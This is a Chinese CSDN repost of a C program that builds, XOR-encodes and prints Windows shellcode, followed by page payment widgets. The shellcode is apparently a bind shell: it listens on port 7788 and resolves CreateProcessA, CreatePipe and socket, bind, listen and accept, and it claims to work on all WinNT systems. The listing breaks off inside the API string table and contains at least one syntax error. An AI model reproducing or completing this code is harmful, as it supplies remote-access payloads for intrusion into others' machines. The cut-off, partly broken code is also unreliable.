c语言添加shellcode到,【转】 使用C语言编写提取通用shellcode的程序

本文详细介绍了Shellcode的解码和执行过程,包括使用XOR法加微调法进行解码的函数以及动态搜索API地址的Shellcode编写技术。示例代码展示了如何在VC环境下编译和运行Shellcode,同时提供了调试模式和标准C语言格式打印Shellcode的功能。
摘要由CSDN通过智能技术生成

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

出处:internet

修改:Hume/冷雨飘心

测试:Win2K SP4 Local / Win2003 SP0 Local

注释:我非我[F.S.T]

说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode

用vc编译时请使用Release格式并取消优化设置,否则不能正常运行

*/

#include 

#include 

#include 

#define  DEBUG 1  //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode

//

//函数原型

//

void     DecryptSc();  //shellcode解码函数,使用的是xor法加微调法

void     ShellCodes();  //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀

void     PrintSc(char *lpBuff, int buffsize);  //PrintSc函数用标准c格式打印

//

//用到的部分定义

//

#define  BEGINSTRLEN    0x08    //开始字符串长度

#define  ENDSTRLEN      0x08    //结束标记字符的长度

#define  nop_CODE       0x90    //填充字符,用于不确定shellcode入口用

#define  nop_LEN        0x0     //ShellCode起始的填充长度,真正shellcode的入口

#define  BUFFSIZE       0x20000 //输出缓冲区大小

#define  sc_PORT        7788    //绑定端口号 0x1e6c

#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小

#define  Enc_key        0x7A    //编码密钥

#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?

#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?

#define  MAX_api_strlen 0x400   //APIstr字符串的长度

#define  API_endstr     "strend"//API结尾标记字符串

#define  API_endstrlen  0x06    //标记字符串长度

//定义函数开始字符,定位用

#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\

__asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90

#define PROC_END PROC_BEGIN

//---------------------------------------------------

enum{       //Kernel32中的函数名定义,用于编写自定义的shellcode。下同

_CreatePipe,

_CreateProcessA,

_CloseHandle,

_PeekNamedPipe,

_ReadFile,

_WriteFile,

_ExitProcess,

//WS2_32

_WSAStartup,

_WSASocket

_socket,

_bind,

_listen,

_accept,

_send,

_recv,

_ioctlsocket,

_closesocket,

//本机测试User32

_MessageBeep,

_MessageBoxA,

API_num

};

//

//代码这里开始

//

int __cdecl main(int argc, char **argv)

{

//shellcode中要用到的字符串

static char ApiStr[]="\x1e\x6c"   //端口地址7788

//Kernel32中查找的API函数名称,用来查找函数地址,下同

"CreatePipe""\x0"

"CreateProcessA""\x0"

"CloseHandle""\x0"

"PeekNamedPipe""\x0"

"ReadFile""\x0"

"WriteFile""\x0"

"ExitProcess""\x0"

//其它API中用到的API

"wsock32.dll""\x0"

"socket""\x0"

"bind""\x0"

"listen""\x0"

"accept""\x0"

"send""\x0"

"recv""\x0"

"ioctlsocket""\x0"

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值